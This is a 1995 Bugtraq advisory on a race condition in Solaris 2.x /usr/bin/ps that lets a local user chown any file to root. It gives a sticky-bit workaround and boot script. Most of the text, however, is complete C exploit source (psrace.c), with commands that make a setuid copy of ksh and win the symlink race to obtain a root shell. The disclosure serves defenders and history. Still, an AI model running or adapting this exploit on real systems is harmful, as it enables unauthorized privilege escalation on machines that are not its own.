B U G T R A Q   A L E R T                           bugtraq-alert-081495.01

August 14, 1995
===========================================================================

OPERATING SYSTEM(S):

         Solaris 2.x (Sunos 5.x)

DESCRIPTION:

         A race condition exists in /usr/bin/ps when ps opens a temporary
         file when executed.  After opening the file, /usr/bin/ps chown's the
         temporary file to root and the renames it to /tmp/ps_data.

WORKAROUND:

         chmod +t /tmp

         Unfortunately this may not solve the entire problem.  If your
         machine is rebooted and you are mounting swap as /tmp (most cases)
         the sticky-bit on your /tmp directory will disappear.  Normally
         the boot script /etc/rc2.d/S05RMTMPFILES should be doing this
         work but will not if you are mounting your /tmp directory.

         The following is a bootup script should be added to ensure that
         the sticky bit stays.

         This file should be called /etc/rc3.d/S79tmpfix

8<------------------------- cut here -------------------------

#!/bin/sh
#ident  "@(#)tmpfix 1.0    95/09/14"

if [ -d /tmp ]
then
   /usr/bin/chmod 1777 /tmp
   /usr/bin/chgrp sys /tmp
   /usr/bin/chown sys /tmp
fi

8<------------------------- cut here -------------------------


EXPLOIT:

  The following is exploit code that will allow you to change any
file on a Solaris 2.x machine to uid 0 (as well as setuid files).


8<------------------------- cut here -------------------------

/*
 *  psrace.c
 *
 *  Copyright, 1995, by Scott Chasin (chasin@crimelab.com)
 *
 *  This material is copyrighted by Scott Chasin, 1995. The
 *  usual standard disclaimer applies, especially the fact that the
 *  author is not liable for any damages caused by direct or indirect
 *  use of the information or functionality provided by this program.
 *
 *  [ For solaris2.x only ]
 *
 *  After compiling psrace, run the following commands:
 *
 *  cp /bin/ksh $HOME/rootshell; chmod 14755 $HOME/rootshell
 *  /bin/sh -c 'while /bin/true ; do ps > /dev/null ; done' &
 *  ./psrace $HOME/rootshell
 *
 *  (Ignore any errors you get from ps)
 *  You may have to wait a few minutes before the race is won.
 */

#include <stdio.h>
#include <sys/types.h>

#include <dirent.h>
#include <sys/stat.h>

main (argc, argv)
int argc;
char **argv;
{
  int count = 0;
  DIR *dirp;
  struct dirent *dp;
  struct stat fileinfo;
  char targetfile [85], name [85];

  if (argc != 2)
   {
      printf ("Usage: psrace [/full/path/to/target/filename]\n");
      exit (1);
   }

  if (access (argv[1], 0))
   {
      printf ("psrace: %s does not exist.\n", argv[1]);
      exit (1);
   }

  strcpy (targetfile, argv[1]);

  stat ("/tmp", &fileinfo);
  if (fileinfo.st_mode & S_ISVTX)
   {
      printf ("psrace: Congratulations! You already have the fix in place.\n");
      printf ("psrace: (/tmp has the sticky-bit set)\n");
      exit (1);
   }

  printf ("Be patient, this could take awhile.\n");
  printf ("Starting the race .. ");
  fflush (stdout);

  dirp = opendir ("/tmp");

  for (;;)
   {
     unlink ("/tmp/ps_data");

     while ((dp = readdir (dirp)) != NULL)
      {
        if (!strncmp (dp->d_name, "ps.", 3))
         {
           sprintf (name, "/tmp/%s", dp->d_name);
           unlink (name);

           symlink (targetfile, name);

           if (stat (targetfile, &fileinfo) >= 0)
               if (fileinfo.st_uid == 0)
                 {
                   printf ("We WON!\n");
                   closedir (dirp);
                   clean_up ();
                 }
         }
      }
     rewinddir (dirp);
   }
 }


clean_up ()
{
  DIR *dirp;
  struct dirent *dp;
  char name [25];

  dirp = opendir ("/tmp");

  while ((dp = readdir (dirp)) != NULL)
      if (!strncmp (dp->d_name, "ps.", 3))
       {
          sprintf (name, "/tmp/%s", dp->d_name);
          unlink (name);
       }
  closedir (dirp);

  unlink ("/tmp/ps_data");
  exit (0);
}

8<------------------------- cut here -------------------------


===========================================================================

A thanks goes out to Neil Readwin (nreadwin@micrognosis.co.uk) who provided
a few ideas in making the exploit code a bit more "enhanced".

For questions regarding this alert, please feel free to mail me.
For more discussion on this alert:

    bugtraq@crimelab.com                Bugtraq reflector list
    bugtraq-request@crimelab.com        Information / Request address


Scott Chasin
chasin@crimelab.com